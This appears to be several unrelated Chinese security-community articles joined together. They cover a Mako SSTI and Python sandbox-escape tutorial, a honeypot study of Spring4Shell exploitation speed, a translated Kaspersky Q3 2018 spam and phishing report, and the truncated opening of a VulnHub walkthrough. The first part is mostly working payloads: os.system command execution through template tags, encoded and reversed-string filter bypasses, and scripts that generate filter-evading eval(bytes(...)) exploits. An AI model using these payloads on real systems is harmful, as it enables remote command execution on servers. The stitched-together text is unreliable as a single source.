这里定义n为c，c=5，`my_range(c)+a`：把a放入my_range函数所返回的整数列表中，my_range返回1，2，3，4，将a放入，整个整数列表就是1-9，然后for循环，i%2返回值只要非零，就输出，即输出所有的奇数：
<% c = 5 %>
% for i in my_range(c)+a:
%if i % 2:
${ i }
%endif
% endfor
执行结果：
1，3，5，7，9
### 过滤器：
上一篇Flask模块下，在ssti绕过中我们提到了attr，他就是jinja2中的过滤器，而Mako过滤器引用更加方便：
单个过滤器的使用和 jinja2 一样很像，都是用 `|` 来引用。如果要使用多个过滤器，mako 需要用 `,` 来指定：
${" <tag>some value</tag> " | h,trim}
要定义自己的过滤器也比较简单，不需要和 jinj2 一样操作 `environment`，只需要定义一个函数即可使用：
<%!
import myfilters
def myescape(text):##定义myescape函数
return "<TAG>" + text + "</TAG>"
%>
Here's some tagged text: ${"text" | myescape}
Here's some tagged text: ${"text" | myfilters.myescape}##多个连续引用
## Mako模板漏洞：
### 常规bypass：
因为Mako模板下完全支持python代码的执行，所以我们不必要去和Flask下jinja2一样去寻找类然后再去调用，可以直接注入python的攻击代码。所以jinja2的利用方法，基本Mako这都能利用，且更简单。
详细的攻击方式请看对应链接，这里就不再水文字了……
例：
直接调用os模块，执行whoami命令。
<%!
import os
os.system("whoami")
%>
# 或者
<%__import__("os").system("ls")%>
# 或者
${__import__("os").system("whoami")}
### 无回显（特殊变量引用）：
mako 引入了新的默认变量：
In [57]: Template("${ locals() }").render()
Out[57]: """
{
'context': <mako.runtime.Context object at 0x7fd5e8af99d0>,
'pageargs': {},
'__M_caller': None,
'__M_locals': {
'pageargs': {}
},
'locals': <built-in function locals>,
'__M_writer': <built-in method append of collections.deque object at 0x7fd5c8013ac0>
}
"""
这段代码的含义是：
使用Mako模板引擎，将locals（）函数的结果渲染为字符串。locals（）函数返回一个字典，其中包含当前上下文中的本地变量，如上下文，参数，调用者，本地变量和写入器。
如果在遇到无回显的场景，就可以调用local函数下的 `__M_writer`、`context.write` 进行打印。
例如：
from mako.template import Template
tp = Template('''
%for i in x:
"a"
%endfor
''')
print(tp.render())
* 其中 x 是注入点。那么我们就可以用 `str(__M_writer(str(__import__("os").system("id"))))` 来实现回显。当然，盲注或者弹 shell 也是 ok 的。
* 还有一种类型的利用 `context.kwargs` 来获取上下文环境中传递的值。例如一个 web 接口有用到 mako，且有一个参数 name，那么可以直接在模板中使用这个变量名，这个时候通常需要 eval 下。
## 确定Mako框架：
这里我们系统讲解一下在已知SSTI的情况下，漏洞究竟出现在什么模板引擎下。
看了一下是个提交框，我们提交什么返回什么，所以初步认定是SSTI，首先我们要知道python的模板模型，才能够确定我们的攻击方式。
### SSTI 的简单探测：
最常用的方法是通过注入模板表达式中常用的一系列特殊字符来尝试模糊模板 ————这也被称作 fuzz 测试，例如`${{<%[%'"}}%\`
如果服务器返回了相关的异常语句则说明服务器可能在解析模板语法，然而 SSTI 漏洞会出现在两个不同的上下文中，并且需要使用各自的检测方法来进一步检测
SSTI 漏洞。
#### 一、纯文字上下文
有的模板引擎会将模板语句渲染成 HTML，例如 Freemarker
render('Hello' + username) --> Hello Apce
因为会渲染成 HTML，所以这还可以导致 XSS 漏洞。但是模板引擎会自动执行数学运算，所以如果我们输入一个运算，例如
http://vulnerable-website.com/?username=${7*7}
如果模板引擎最后返回 Hello 49 则说明存在 SSTI 漏洞。而且不同的模板引擎的数学运算的语法有些不同，还需要查阅相关资料的。
#### 二、代码上下文
以这样一段代码为例，同样是用来生成邮件的.
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)
上面代码通过获取静态查询参数 greeting 的值然后再填充到模板语句中，但是就像 SQL
注入一样，如果我们提前将双花括号闭合，然后就可以注入自定义的语句了。
#### 三.确定 Web 界面所用的模板引擎:
* 这也算是探测的一种吧，但是这种探测是基于已知 SSTI 漏洞存在的二次探测，一般的做法是触发报错。
触发报错的方式很多，这里以 Ruby 的 ERB 引擎为例，输入无效表达式`<%foobar%>`触发报错。可以得到如下报销信息
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
* 根据不同的报错得到不同的模板引擎
* 有的时候相同的 payload 可能会有两种响应，比如`{{7*’7’}}`在 Twig 中会的到 49，而在 Jinja2 中会得到 7777777。
单字符fuzz测试：
from time import sleep
import requests
import urllib
from bs4 import BeautifulSoup
url = "http://127.0.0.1:9999"
for i in range(32, 127):
html = chr(i)
# print(html)
data = {'html': html}
# 会自动url编码，不需要手动编码
r = requests.post(url=url + '/generate', data=data)
soup = BeautifulSoup(r.content, 'lxml')
if (soup.find_all('a')):
item = soup.find_all('a')[0].get('href')[1:]
# 注：有两个.不能直接replace
# print(item)
r2 = requests.get(url=url + item)
# print(r2.url)
# print(r.status_code)
with open('1.txt', 'a+') as f:
f.write(html + ":" + str(r2.status_code) + "\n" + r2.text + "\n")
print(str(i))
f.close()
else:
with open('1.txt', 'a+') as f:
f.write(html + ":" + r.text + "\n")
print(str(i))
f.close()
# sleep(2)
对这个题进行了fuzz之后发现过滤了如下字符：
%> /> _ + $ [ ' "
chr ord hex eval exce
"
$
'
*
+
- /
[
]
_
因为Mako可以直接利用python的代码来执行，用Mako循环语法测试。结果渲染了3个1，证明确实是mako框架。
%for a in (1,2,3):
1
%endfor
## 沙箱机制：
让用户提交 Python 代码并在服务器上执行，是一些 OJ、量化网站重要的服务，很多 CTF 也有类似的题。为了不让恶意用户执行任意的 Python
代码，就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数。Python
的沙箱逃逸的最终目标就是执行系统任意命令，次一点的写文件，再次一点的读文件。
### 执行系统命令：
### import绕过：
首先，禁用 `import os` 肯定是不行的，因为:
import os
import os
import os
如果多个空格也过滤了，Python 能够 import 的可不止 `import`：
__import__：__import__('os')
importlib：importlib.import_module('os').system('ls')
其实import 的原理，本质上就是执行一遍导入的库。这个过程实际上可以用 `execfile` 来代替，只适用于python2版本：
execfile('/usr/lib/python2.7/os.py')
system('ls')
python2和python3兼容方法：
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')
不过使用上面的这两种方法，就必须知道==库的路径==。其实在大多数的环境下，库都是默认路径。如果 sys 没被干掉的话，还可以确认一下，：
import sys
print(sys.path)
### 字符串绕过：
代码中如果出现 `os`被过滤：那么可以利用字符串的各种变化来引入 os：
__import__('so'[::-1]).system('ls')
b = 'o'
a = 's'
__import__(a+b).system('ls')
还可以利用 `eval` 或者 `exec`：
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
#macr0phag3
0
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
#macr0phag3
一串连等：
['__builtins__'] ==
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'] ==
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'] ==
['X19idWlsdGluc19f'.decode('base64')] ==
['__buil'+'tins__'] ==
['__buil''tins__'] ==
['__buil'.__add__('tins__')] ==
["_builtins_".join("__")] ==
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]
最后一个有点通杀的感觉。
### 恢复 sys.modules：
* `sys.modules` 是一个字典，里面储存了加载过的模块信息。
* 如果 Python 是刚启动的话，所列出的模块就是解释器在启动时自动加载的模块。
* 有些库例如 `os` 是默认被加载进来的，但是不能直接使用（但是可以通过 `sys.modules` 来使用，例如 `sys.modules["os"]`），原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。
* 如果将 os 从 sys.modules 中剔除，os 就彻底没法用了：
>>> sys.modules['os'] = 'not allowed'
>>> import os
>>> os.system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
>>>
* 注意，这里不能用 `del sys.modules['os']`，因为，当 import 一个模块时：import A，检查 sys.modules 中是否已经有 A，如果有则不加载，如果没有则为 A 创建 module 对象，并加载 A。
* 所以删了 `sys.modules['os']` 只会让 Python 重新加载一次 os。
* 对于上面的过滤方式，绕过的方式可以是这样：
sys.modules['os'] = 'not allowed'
del sys.modules['os']
import os
os.system('ls')
### 执行函数
通过上面内容我们很容易发现，光引入 os 只不过是第一步，如果把 system
这个函数干掉，也没法通过`os.system`执行系统命令，并且这里的`system`也不是字符串，也没法直接
做编码等等操作。我遇到过一个环境，直接在`/usr/lib/python2.7/os.py`中删了`system`函数。。。
不过，要明确的是，os 中能够执行系统命令的函数有很多：
print(os.system('whoami'))
print(os.popen('whoami').read())
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
其次，可以通过 `getattr` 拿到对象的方法、属性：
import os
getattr(os, 'metsys'[::-1])('whoami')
>>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
macr0phag3
与 `getattr` 相似的还有
`__getattr__`、`__getattribute__`，它们自己的区别就是`getattr`相当于`class.attr`，都是获取类属性/方法的一种方式，在获取的时候会触发`__getattribute__`，如果`__getattribute__`找不到，则触发`__getattr__`，还找不到则报错。
### builtins、`__builtin__`与`__builtins__`
先说一下，`builtin`、`builtins`，`__builtin__`与`__builtins__`的区别：
首先我们知道，在 Python 中，有很多函数不需要任何 import 就可以直接使用，例如`chr`、`open`。之所以可以这样，是因为 Python
有个叫`内建模块`（或者叫内建命名空间）的东西，它有一些常用函数，变量和类.
在 2.x 版本中，内建模块被命名为 `__builtin__`，到了 3.x 就成了 `builtins`。它们都需要 import 才能查看：
2.x：
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>
3.x：
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>
但是，`__builtins__` 两者都有，实际上是`__builtin__`和`builtins` 的引用。它不需要导入，并且在
`__builtins__`里有很多好东西：
>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True
### 文件读写
2.x 有个内建的 `file`：
>>> file('key').read()
'Macr0phag3\n'
>>> file('key', 'w').write('Macr0phag3')
>>> file('key').read()
'Macr0phag3'
还有个 `open`，2.x 与 3.x 通用。
还有一些库，例如：`types.FileType`(rw)、`platform.popen`(rw)、`linecache.getlines`(r)。
如果可以读取文件，可以将类似的文件保存为`math.py`，然后 import 进来：
math.py：
import os
print(os.system('whoami'))
调用
>>> import math
macr0phag3
这里需要注意的是，这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在`sys.modules`中有的，这些库无法这样利用，会直接从`sys.modules`中加入，比如`re`：
>>> 're' in sys.modules
True
>>> 'math' in sys.modules
False
>>>
当然在`import re` 之前`del sys.modules['re']`也可以
最后，这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样：由于待测试的库中有个叫 `test`的，如果把遍历测试的文件也命名为
test，会导致那个文件运行 2 次，因为自己 import 了自己。
读文件暂时没什么发现特别的地方。
剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了，比如：
>>> __builtins__.open('key').read()
'Macr0phag3\n'
>>> ().__class__.__base__.__subclasses__()[40]('key').read()
'Macr0phag3'
### 沙箱通解：
all(
black_char not in CMD
for blackl_char in (
list("'\".,+") + [ "__", "exec", "str" , "import" ]
)
)
##这段代码检查CMD中是否包含特殊字符，如单引号、双引号、句号、加号，以及特殊字符"__"、"exec"、"str"和"import"。如果CMD中不包含这些特殊字符，则返回True，否则返回False。
eval(CMD)
#run `id` in os shell
构造出一个 CMD，这个 CMD 经过这个 all 的计算后结果必须为 True，且 eval(CMD) 需要可以在 os shell 里执行 id
* 从执行上下文看，我们要构造出的 `CMD` 显然是一个字符串，因为下面会进行 `eval`。那么这里就有第一个问题：如何构造出任意字符串？
* 因为上面的限制条件把 `"`、`'` 都干掉了，所以直觉上我们会选择用 `chr` \+ `+` 来拼接出字符串，但是 `+` 也被干掉了。
* 而由于 `,` 也被干掉了，所以虽然能调用函数，但是也只能传一个参数。并且 `.` 也被限制掉了，所以就算可以 `__import__` 也没法调用方法。
所以需要寻找其他办法。在内置的函数中发现了 `bytes()`：
"""
bytes(iterable_of_ints) -> bytes
bytes(string, encoding[, errors]) -> bytes
bytes(bytes_or_buffer) -> immutable copy of bytes_or_buffer
bytes(int) -> bytes object of size given by the parameter initialized with
null bytes
bytes() -> empty bytes object
Construct an immutable of bytes from:
- an iterable yielding integers in range(256)
- a text string encoded using the specified encoding
- any object implementing the buffer API.
- an integer
# (copied from class doc)
"""
1.定义空的字节序列bytes
bytes() -> empty bytes
2.定义指定个数的字节序列bytes，默认以0填充，不能是浮点数
bytes(int) -> bytes of size given by the parameter initialized with null bytes
3.定义指定内容的字节序列bytes
bytes(iterable_of_ints)
4.定义字节序列bytes，如果包含中文的时候必须设置编码格式
bytes(string, encoding[, errors]) -> immutable copy of bytes_or_buffer
返回值 ： 返回一个新的字节序列，字节序列 bytes 有一个明显的特征，输出的时候最前面会有一个字符 b 标识，
也就是说，这个函数可以接收一个可迭代对象，里面是 0-256 的整数，然后就会返回一个 bytes：
由于 `range()` 是固定顺序的，无法得到我们要的任意字符串。那么接下来问题就变成了：如何构造包含任意序列的整数的可迭代对象？
对应的构造脚本：
exp = '__import__("os").system("id")'
print(f"eval(bytes([j for i in range({len(exp)}) for j in range(256) if "+" or ".join([f"i=={i} and j=={ord(j)}" for i, j in enumerate(exp)]) + "]))")
还有一个空格的限制，用 `[]` 来替代。构造脚本：
exp = '__import__("os").system("id")'
print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)]) + "]]))")
如果额外限制了 `==`，那么还可以用 `in` 来代替：
exp = '__import__("os").system("id")'
print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")
* 如果 `bytes` 之类的内置函数被禁用了，可以通过 Unicode 来绕过，这个技巧我们已经见得多了，就不多说了。
* 所以，这个 payload 在大多数情况下已经可以通用了。
tr0y师傅的文章写的真的好，还有一些深奥的东西没有明白，感兴趣的师傅可以去他博客学习一波
参考文章：
<https://blog.csdn.net/fatway/article/details/5268575>
<https://www.tr0y.wang/2022/09/28/common-exp-of-python-jail/#解法二>
<https://www.tr0y.wang/2019/05/06/Python沙箱逃逸经验总结/#文件读写>
<https://blog.csdn.net/ZhaDeNianQu/article/details/> | 社区文章 |
# 从Spring RCE 0day(CVE-2022-22965)看黑产利用速度
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2022年3月29号晚8点左右，关于“SpringRCE漏洞”的相关舆情，在互联网微博、微信等朋友圈传播开来。安恒信息零壹实验室对Spring RCE
0Day漏洞(后简称“该漏洞”)的攻击利用进行了5*24小时的跟踪分析。
本文所有的分析结论，均来自于蜜罐等网络监测节点捕获的日志数据。由于蜜罐部署节点分布等问题，可能存在于其他捕获数据源的时间上差异问题。为了保障结论的相对客观，剔除了安恒信息安全巡检的日志数据。
## 漏洞进程重要时间线
由于该漏洞为国内安全研究人员发现，并且漏洞舆论形成远远早于Spring官方的通告。所以将该漏洞的爆发时间点定为漏洞舆论大规模传播的时间点
**2022年3月29日20点，** 而非Spring官方发布公告的时间。
12个小时后，第一个安全厂商发起了针对该漏洞的安全检测行为。对安全厂商的检测行为统计，发现安全厂商平均在漏洞爆发后69个小时内发起安全检测行为。
26个小时后，捕获到一个黑产攻击行为，对5天内的黑产行为进行统计，发现黑产对该零日漏洞的利用平均速度为漏洞爆发后66小时。
## 安全厂商检测响应分析
### **检测速度分析**
对捕获到的5天内的安全厂商的巡检行为，进行统计分析发现。安全厂商最快在漏洞爆发12个小时后，发起了安全巡检响应。根据统计安全厂商平均在69个小时后发起了安全检测响应。大部分安全厂商在漏洞爆发后的90个小时内完成了安全巡检。
**安全厂商检测开始用时统计图**
### **检测方法分析**
根据捕获的检测行为进行分析。安全厂商主要通过以下四种方法完成安全检测。包括写入随机字符串至文本文件、写入JSP脚本执行无害回显、写入crontab目录执行curl命令回显、写入JSP脚本执行DNSLog探测。这四种方式中以前两种最多，大约占到90%，第三种与第四种考虑网络和操作系统的兼容性、无害性则较少使用。
## 黑产团伙利用分析
### **黑产攻击速度分析**
对捕获到的5天内的黑产团队的攻击行为，进行统计分析发现。黑产组织最快在漏洞爆发26小时后，发起了漏洞恶意利用行为。根据统计47个黑产IP平均在66个小时后进行了漏洞利用。大部分黑产组织在漏洞爆发后的100个小时内发起漏洞利用。
**黑产攻击IP统计时间柱状图**
### **黑产攻击手法分析**
根据捕获到的黑产利用手法分析。黑产主要使用同一类利用手法，即写入JSP命令执行WebShell，通过该后门执行命令，完成后续的黑灰产恶意利用。
## 总结
在该漏洞爆发后，最快的安全厂商仅12个小时就开始发起了安全检测，大幅度跑赢最快的黑产恶意利用速度。同时在平均时间上，安全厂商巡检的速度接近了黑产的利用速度。这是不是一个常态呢，敬请关注零壹实验室对其他重大漏洞爆发之后的跟踪分析。 | 社区文章 |
# 卡巴斯基 - 2018年Q3垃圾邮件与网络钓鱼报告
##### 译文声明
本文是翻译文章，文章原作者 Securelist，文章来源：securelist.com
原文地址：<https://securelist.com/spam-and-phishing-in-q3-2018/88686/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、季度亮点
### 1.1 垃圾邮件中的个人数据
我们常说，个人数据就是诈骗犯的棒棒糖，每个人都应该保证个人数据的安全（就是说，千万不要在可疑网站上提交个人数据）。如果犯罪分子得到了你的数据，他们就会用来访问你的个人账户，还会发起针对性攻击和勒索软件攻击。
在第三季度，我们在垃圾邮件中发现了大量的诈骗邮件。我们曾在今年初[报告](https://securelist.com/cryptoransom-spam/83691/)过这种类型的诈骗活动：要挟受害人支付一笔赎金（以比特币支付），否则就公开与受害人有关的“损害性证据”。新一波攻击浪潮中的诈骗邮件包含用户的真实个人数据（姓名、密码还有电话号码），犯罪分子利用这些信息恐吓受害者，让他们相信自己手中握有真实的证据。该诈骗活动分为数个阶段，犯罪分子很可能是利用了多个个人信息数据库。证据就是，在不同阶段的诈骗活动中受害者电话号码的格式是不同的。
以前，攻击目标主要是英语用户，但在9月份我们观察到其它语言的一个大爆发，包括德语、意大利语、阿拉伯语，还有日语。
犯罪分子勒索的赎金从几百美元到数千美元不等。不同的邮件中使用的付款地址（比特币钱包地址）都不相同。在7月份，其中一个钱包收到了17笔交易，交易总额超过了3比特币（以当时的价格计算，约为1.8万美元）。
犯罪分子的比特币钱包收到的交易
还是在第三季度，我们检测到一个针对企业用户的[恶意垃圾邮件活动](https://securelist.com/loki-bot-stealing-corporate-passwords/87595/)。犯罪分子的主要目的是窃取密码（例如浏览器密码、即时消息应用、电子邮件客户端、FTP客户端以及加密货币钱包的密码等）。为了达到这一目的，犯罪分子将恶意软件Loki
Bot封装成ISO文件，附加在邮件的附件中。这种钓鱼邮件看起来类似于商业信函或是来自于可信公司的通知函。
### 1.2 针对银行业的恶意垃圾邮件攻击
僵尸网络Necurs曾被发现在第二季度分发携带[恶意IQY（Microsoft Excel
Web查询）附件的垃圾邮件](https://securelist.com/spam-and-phishing-in-q2-2018/87368/)，但现在它已经将兴趣转移至银行业。同第二季度一样，Necurs分发的垃圾邮件中包含另一种非典型的文件格式，这一次是PUB（Microsoft
Publisher）格式。这些垃圾邮件被发送到不同国家的信贷机构的邮件地址，其PUB附件中包含用于下载和执行恶意软件的木马下载器（被检测为[Backdoor.Win32.RA-based](https://threats.kaspersky.com/en/threat/Backdoor.Win32.RA-based/)）。
我们观察到Necurs的所有者正越来越多地使用各种技术来绕过安全解决方案，并在恶意垃圾邮件中包含非典型扩展名的附件，以免引起用户的怀疑。
### 1.3 以新iPhone为主题
在第三季度末尾Apple发布了最新的产品。不出意料地，一波与之有关的垃圾邮件高潮也出现了。这些垃圾邮件伪装成来自中国的“公司”，向用户提供一些Apple的配件或小玩意儿。邮件中的链接通常指向一个新创建的在线商店。不用多说，如果您在这种没准儿第二天就没了的网站上购物，那肯定是钱货两空。
伴随着Apple发布会到来的，还有利用Apple（及其服务）的钓鱼攻击模式的增长，以及携带恶意附件的垃圾邮件数量的增长：
### 1.4 以违禁药品为主题的传统垃圾邮件的新伪装
垃圾邮件发送者一直在锲而不舍地寻找绕过邮件过滤措施和增加垃圾邮件“可交付性”的方法。为了达成这一目的，他们尝试制作看起来像是来自于知名公司和服务的垃圾邮件（不仅是从内容上，而且是从技术上）。例如，他们照搬了银行等通知服务的邮件布局，并在显眼的位置添加真实的标题。
这种典型的钓鱼技术越来越多地被用在“传统的垃圾邮件”中 –
例如，在那些提供违禁药品的垃圾邮件中。举例而言，本季度我们曾检测到伪装成来自大型社交网络（包括LinkedIn）的通知的垃圾邮件。我们本以为这些邮件中的虚假链接指向的是一个窃取个人数据的钓鱼网站，结果它是一个网上药店。
垃圾邮件发送者开始使用这种新伪装的原因是，它们传统的垃圾邮件类型在很早之前就会被反垃圾邮件系统给识别出来和过滤掉。我们预计这一趋势还会继续增强。
### 1.5 针对大学
随着新学年的开始，犯罪分子对获得大学网站账户的访问权限的兴趣有所增长。我们观察到针对16个国家的131所大学的[攻击活动](https://securelist.com/phishing-for-knowledge/88268/)。犯罪分子不仅仅想要窃取个人数据，还瞄准学术研究成果。
针对大学网站的钓鱼登录页面
### 1.6 针对求职者
为了获取个人数据，攻击者还会利用求职者的努力。这些钓鱼页面上会提供诱人的工作职位，包括大公司的职位、高额的薪水等等，诱使受害者填写页面上的工作申请表格。
### 1.7 传播方法
本季度我们继续关注犯罪分子用于分发网络钓鱼和其它非法内容的方法。但这一次我们还想提请注意那些越来越受欢迎并且被犯罪分子积极利用的方法。
#### 1.7.1 诈骗通知
有些浏览器可以让网站向用户发送通知（例如，Chrome中的Push
API），这种技术被犯罪分子注意到了。这种技术主要是被那些拥有许多第三方网络合作伙伴的网站开发的。借助这种弹出式的通知，用户们就会被引诱至“小伙伴”的网站，在那里他们被提示输入一些，比如说，个人信息。每引诱一个用户，这些网站的所有者就会得到一个分成奖励。
默认情况下，Chrome要求每一个单独的网站在弹出通知时都需要申请权限，而攻击者为了促使用户授予这些权限，会声称如果不点击允许按钮，页面就无法继续加载。
[](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/11/06091607/181101-spam-and-phishing-in-q3-2018-12.png)
许多用户在授予网站允许弹出通知的权限后就简单地忘记了这件事。所以当一个消息弹出在屏幕上时，他们往往不知道它是从哪儿来的。
通知往往根据用户的地理位置进行量身定制，并以适当的语言显示
危险在于，这些通知可能在用户访问可信资源时弹出。这会误导受害者信任通知消息的来源：怎么看这个通知都是来自于当前打开的可信资源。举例而言，用户可能会看到关于转账信息、有奖问答或是小赠品的“通知”，而它们通常都会跳转到钓鱼网站、在线赌场或是虚假赠品及付费订阅的网站。
当用户点击通知时打开的网站示例
我们在本季度初曾[报告](https://securelist.com/giftcard-generators/86522)过一个通过点击通知跳转到在线礼品卡生成器的钓鱼活动（该钓鱼活动还可以反向运作：通过在线资源提示用户启用消息推送通知）。这种生成器声称可以为用户提供各大流行电商的免费礼品卡。然而，为了获得这些免费礼品卡，用户必须要通过特殊的链接验证他不是机器人。随之，用户就被重定向至许许多多的第三方合作网站，要么是要求参与有奖问答，要么是填写调查问卷，或者是下载资料，注册付费短信服务等等。
#### 1.7.2 新闻媒体
利用媒体资源来分发欺诈内容并不常见，但非常有效。流行加密货币交易所WEX遭遇到的故事就是一个力证。WEX在2017年之前的名字是BTC-E。在2018年8月份，一些虚假的新闻被插入到了俄罗斯媒体“third
tier”的专题报道中，新闻中称由于内部问题，该交易所正在将域名更改为wex.ac:
wex.nz的管理部门很快发推表示（其推文发布在该交易所的主页上），wex.ac只是一个模仿者，并警告用户不要转移资金。
但这并没能阻止诈骗者，他们又发布了更多虚假新闻，称该交易所现在迁移到一个新的域名：wex.sc。
#### 1.7.3 社交网络（Instagram）
在诈骗者用于分发欺诈内容的众多社交媒体平台中，Instagram尤其值得一提。犯罪分子直到最近才开始注意到这个平台。在2018年Q3，我们在该平台上发现了多个假冒的美国国税局（IRS）账号，还有许多假装成巴西银行官方账号的骗子。
Instagram上的假冒IRS账号
诈骗者们不仅自己创建假冒账号，还试图盗取名人的账号：在今年八月份，我们观察到一波Instagram账户劫持的高潮。由于一种“账户认证”的钓鱼攻击，许多账户更换了他们的主人–
诈骗者伪装成Instagram帮助中心的网站，帮助用户申请账户认证徽章（就是那个[珍贵的蓝色小勾勾](https://www.kaspersky.com/blog/instagram-hijack/23585)），但要求用户提供登录凭据等信息。
当时Instagram还没有完善它们的账户认证功能：由管理员来决定谁来获得这枚神圣的“徽章”。现在这枚徽章可以直接在[账户设置中进行申请](https://help.instagram.com/1080769608648426)了。
## 二、季度统计：垃圾邮件
### 2.1 垃圾邮件占全球电子邮件流量中的比例
2018年Q2及Q3，垃圾邮件占全球电子邮件流量中的比例
2018年第三季度垃圾邮件占比的峰值出现在8月份（53.54%）。在全球电子邮件流量中垃圾邮件的平均占比为52.54%，比上一季度增长了2.88个百分点。
### 2.2 垃圾邮件来源国家的分布
2018年Q3，垃圾邮件来源国家的分布
2018年第三季度垃圾邮件来源国家的前三名和第二季度一样：中国排第一（13.47%），美国排第二（10.89%），德国排第三（10.37%）。巴西排第四（6.33%），越南排第五（4.41%）。阿根廷（2.64％）是第十。
### 2.3 垃圾邮件的大小分布
2018年Q2及Q3，垃圾邮件的大小分布
在2018年第三季度，垃圾邮件中超小型邮件（最多2KB）的份额下降了5.81个百分点，为73.36%。5-10KB之间的垃圾邮件与第二季度相比略有增长（+0.76个百分点），达6.32%。10-20KB之间的垃圾邮件同样也下降了1.21个百分点，为2.47%。而20-50KB之间的垃圾邮件份额基本保持不变，仅上升了0.49个百分点，至3.17%。
### 2.4 恶意附件：恶意软件家族的分布
2018年Q3，垃圾邮件中恶意软件家族的前十名
根据2018年第三季度的统计数据，恶意流量中最常见的恶意软件仍然是Exploit.Win32.CVE-2017-11882，其份额与上一季度相比增长了0.76个百分点，达11.11%。Backdoor.Win32.Androm同样有所增长，现在排名第二（7.85%）。Trojan-PSW.Win32.Farei则掉到第三名（5.77%）。第四和第五名分别花落Worm.Win32.WBVB和Backdoor.Java.QRat。
### 2.5 垃圾邮件目标国家的分布
2018年Q3，垃圾邮件目标国家的分布
第三季度邮件反病毒系统阻止的威胁中排名前三的国家自年初以来未曾发生变化：德国排第一（9.83%），俄罗斯排第二（6.61%），英国排第三（6.41%）。后面是意大利（第四，5.76%）和越南（第五，5.53%）。
## 三、季度统计：网络钓鱼
在2018年第三季度，卡巴斯基的反钓鱼系统共阻止了137,382,124次将用户重定向至诈骗网站的尝试。全球范围内共有12.1%的卡巴斯基用户遭到攻击。
### 3.1 攻击地理
2018年第三季度遭到钓鱼攻击的用户比例最高的国家是危地马拉（比上一季度增长了8.56个百分点，达18.97％）。
2018年Q3，钓鱼攻击的地理分布
第二季度的冠军巴西掉到了第二名，本季度该国家遭到钓鱼攻击的用户比例是18.62%（实际上比第二季度还增长了3.11个百分点）。第三和第四分别是西班牙（17.51％）和委内瑞拉（16.75％）。葡萄牙排在第五（16.01%）。
国家
|
%*
---|---
危地马拉
|
18.97
巴西
|
18.62
西班牙
|
17.51
委内瑞拉
|
16.75
葡萄牙
|
16.01
中国
|
15.99
澳大利亚
|
15.65
巴拿马
|
15.33
格鲁吉亚
|
15.10
厄瓜多尔
|
15.03
*该国家所有卡巴斯基用户中反钓鱼系统被触发的比例
### 3.2 攻击目标（企业的类别分布）
遭到钓鱼攻击的目标企业的类别分布是根据用户计算机上的反钓鱼系统的触发次数来统计的。每当用户尝试打开一个钓鱼页面时（可能是点击了邮件中的链接，或者是点击了社交媒体聊天消息中的链接，也可能是恶意软件活动的结果），反钓鱼系统就会被激活。然后浏览器就会显示一个禁止访问的页面，警告用户潜在的威胁。
与上一季度一样，“全球互联网门户网站”类别的企业排在攻击目标榜的第一位，其份额为32.27%（增长了7.27个百分点）。
2018年Q3，遭到钓鱼攻击的企业类别分布
如果粗略地划分出一个“金融”类别，那么唯有这一类别的企业遭受的钓鱼攻击比全球互联网门户网站类别要多。这个临时的类别占了所有钓鱼攻击的34.67%（下降了1.03个百分点）：其子类别银行和支付系统分别占18.26%和9.85%（第二和第三）；只有子类别在线商店（6.56%）略输给IT公司（6.91%），将第四名拱手相让。
## 四、结论
在2018年第三季度，垃圾邮件平均占全球电子邮件总流量的52.54%，比上一季度增长了2.88个百分点。卡巴斯基的反钓鱼系统共阻止了超过1.37亿次将用户重定向至钓鱼网站的尝试，比上一季度增长了3000万次。
垃圾邮件发送者和钓鱼攻击者继续利用重大的新闻报道，本季度中的例子是新iPhone的发布。同时，犯罪分子也还在继续寻找用于分发欺诈内容的其它渠道。除了Instagram恶意活动的一个高峰之外，我们还发现了从网站弹出虚假通知以及利用媒体资源散播虚假新闻的恶意活动。
还应该提及的是利用受害者的真实个人数据进行敲诈勒索的垃圾邮件活动扩大了它的攻击范围。 | 社区文章 |
## VulnHub|渗透测试入门（三）
红日安全成员 -- Mochazz
### 环境下载
Lazysysadmin.zip (Size: 479 MB)
Download: [https://drive.google.com/uc?id=0B_A-fCfoBmkLOXN5Y1ZmZnpDQTQ&export=download](https://drive.google.com/uc?id=0B_A-fCfoBmkLOXN5Y1ZmZnpDQTQ&export=download)
Download (Mirror):
